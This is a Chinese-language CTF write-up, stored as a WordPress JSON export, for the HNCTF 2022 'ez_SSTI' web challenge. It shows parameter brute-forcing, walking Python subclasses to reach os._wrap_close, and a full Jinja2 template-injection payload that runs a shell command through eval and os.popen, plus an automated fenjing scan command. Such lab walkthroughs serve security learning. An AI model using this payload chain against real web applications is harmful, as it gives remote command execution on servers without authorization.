{"id":2900,"date":"2026-01-06T15:56:13","date_gmt":"2026-01-06T07:56:13","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2900"},"modified":"2026-01-06T15:56:20","modified_gmt":"2026-01-06T07:56:20","slug":"hnctf-2022-week2-ez_ssti","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2026\/01\/06\/hnctf-2022-week2-ez_ssti\/","title":{"rendered":"HNCTF 2022 WEEK2 ez_SSTI"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105170752.png\" alt=\"Pasted image 20260105170752.png\"><\/p>\n<h1>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105171145.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105171145.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20260105171145.png\"><\/div><br \/>\n\u7ffb\u8bd1\u4e00\u4e0b\uff0c\u63d0\u793a\u662fSSTI<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105171253.png\" alt=\"Pasted image 20260105171253.png\"><\/p>\n<h1>\u4e8c\u3001\u4e0d\u77e5\u9053\u53c2\u6570\u53ea\u80fd\u901a\u8fc7\u7206\u7834<\/h1>\n<p>1.\u6dfb\u52a0payload<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105172356.png\" alt=\"Pasted image 20260105172356.png\"><\/p>\n<p>2.\u6dfb\u52a0\u53c2\u6570\u5b57\u5178\uff0c\u53d6\u6d88\u7f16\u7801<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105172546.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105172546.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20260105172546.png\"><\/div><br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105172601.png\" alt=\"Pasted image 20260105172601.png\"><\/p>\n<p>3.\u5f00\u59cb\u7206\u7834\uff0c\u6210\u529f\u7206\u7834\u51fa\u53c2\u6570\u662fname<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105172632-scaled.png\" alt=\"Pasted image 20260105172632.png\"><\/p>\n<h1>\u4e09\u3001\u6d4b\u8bd5\u662f\u5426\u5b58\u5728SSTI<\/h1>\n<p>\u5c1d\u8bd5<code>{{7*7}}<\/code>\uff0c\u6210\u529f\u89e3\u6790\u4e3a49<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105173058.png\" alt=\"Pasted image 20260105173058.png\"><\/p>\n<h1>\u56db\u3001\u67e5\u770b\u5f53\u524d\u5bf9\u8c61\u6240\u5c5e\u7684\u7c7b<\/h1>\n<p>\u7136\u540e\u8f93\u5165<code>{{''.__class__}}<\/code>\u5224\u65ad\u5f53\u524d\u5bf9\u8c61\u6240\u5c5e\u7684\u7c7b\u53ef\u4ee5\u53d1\u73b0\u4e3astr<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105174638.png\" alt=\"Pasted image 20260105174638.png\"><\/p>\n<h1>\u4e94\u3001\u67e5\u770b\u5f53\u524d\u7c7b\u5bf9\u5e94\u7684\u7236\u7c7b<\/h1>\n<p>\u518d\u8f93\u5165<code>{{''.__class__.__base__}}<\/code>\u67e5\u770b\u5f53\u524d\u7c7b\u5bf9\u5e94\u7684\u7236\u7c7b\u662f\u5426\u4e3aobject<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105174810.png\" alt=\"Pasted image 20260105174810.png\"><\/p>\n<h1>\u516d\u3001\u67e5\u770bobject\u7c7b\u7684\u6240\u6709\u5b50\u7c7b<\/h1>\n<p>\u8f93\u5165<code>{{''.__class__.__base__.__subclasses__()}}<\/code>\u67e5\u770bobject\u7c7b\u7684\u6240\u6709\u5b50\u7c7b<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105174900.png\" alt=\"Pasted image 20260105174900.png\"><\/p>\n<h1>\u4e03\u3001\u7206\u7834<code>os._wrap_close<\/code>\u6a21\u5757\u5bf9\u5e94\u7684\u4e0b\u6807<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105175228.png\" alt=\"Pasted image 20260105175228.png\"><\/p>\n<p>1.\u5bf9\u4e0b\u6807\u6dfb\u52a0payload<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105175418.png\" alt=\"Pasted image 20260105175418.png\"><\/p>\n<p>2.payload\u7c7b\u578b\u9009\u62e9\u6570\u503c<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105175523.png\" alt=\"Pasted image 20260105175523.png\"><\/p>\n<p>3.\u9009\u62e9\u751f\u6210\u7684\u6570\u5b57\u8303\u56f4\uff1a0-200\uff0c\u95f4\u9694\u4e3a1<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105175631.png\" alt=\"Pasted image 20260105175631.png\"><\/p>\n<p>4.\u5f00\u59cb\u7206\u7834\uff0c\u641c\u7d22<code>os._wrap_close<\/code>\uff0c\u4e0b\u6807\u4e3a137<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105180000.png\" alt=\"Pasted image 20260105180000.png\"><\/p>\n<h1>\u516b\u3001\u8c03\u7528<code>__init__<\/code>\u51fd\u6570\uff0c\u5224\u65ad\u6a21\u5757\u662f\u5426\u91cd\u8f7d<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105180641.png\" alt=\"Pasted image 20260105180641.png\"><\/p>\n<h1>\u4e5d\u3001\u4f7f\u7528<code>__globals__<\/code>\u51fd\u6570\u67e5\u770b\u5168\u5c40\u53d8\u91cf\uff0c\u5224\u65ad\u6709\u54ea\u4e9b\u6a21\u5757\u53ef\u4ee5\u8c03\u7528<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105180945.png\" alt=\"Pasted image 20260105180945.png\"><\/p>\n<h1>\u5341\u3001\u6784\u9020payload\u83b7\u53d6flag<\/h1>\n<pre><code>?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__(&quot;os&quot;).popen(&quot;cat flag&quot;).read()')}}\n<\/code><\/pre>\n<p><code>__builtins__<\/code>\u63d0\u4f9b\u5bf9python\u7684\u6240\u6709\u5185\u7f6e\u6807\u8bc6\u7b26\u7684\u76f4\u63a5\u8bbf\u95ee<\/p>\n<p><code>eval()<\/code>\u8ba1\u7b97\u5b57\u7b26\u4e32\u8868\u8fbe\u5f0f\u7684\u503c<\/p>\n<p><code>popen()<\/code>\u6267\u884c\u4e00\u4e2ashell\u4ee5\u547d\u4ee4\u6765\u5f00\u542f\u4e00\u4e2a\u8fdb\u7a0b<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260105181058.png\" alt=\"Pasted image 20260105181058.png\"><\/p>\n<h1>\u5341\u4e00\u3001\u89e3\u6cd5\u4e8c<\/h1>\n<p>\u4f7f\u7528\u5de5\u5177\u811a\u672c\u4e00\u628a\u68ad<\/p>\n<pre><code>python -m fenjing scan --url http:\/\/node5.anna.nssctf.cn:20169\/\n<\/code><\/pre>\n<p>\u76f4\u63a5\u4e00\u952e\u83b7\u53d6flag<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260106114533.png\" alt=\"Pasted image 20260106114533.png\"><\/p>\n<h1>\u603b\u7ed3<\/h1>\n<ul>\n<li>SSTI\u6a21\u677f\u6ce8\u5165<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9 \u7ffb\u8bd1\u4e00\u4e0b\uff0c\u63d0\u793a\u662fSSTI \u4e8c\u3001\u4e0d\u77e5\u9053\u53c2\u6570\u53ea\u80fd\u901a\u8fc7\u7206\u7834 1.\u6dfb\u52a0payload 2.\u6dfb\u52a0\u53c2\u6570\u5b57\u5178\uff0c [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[70],"class_list":["post-2900","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-ssti"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2900","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2900"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2900\/revisions"}],"predecessor-version":[{"id":2901,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2900\/revisions\/2901"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2900"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2900"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2900"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}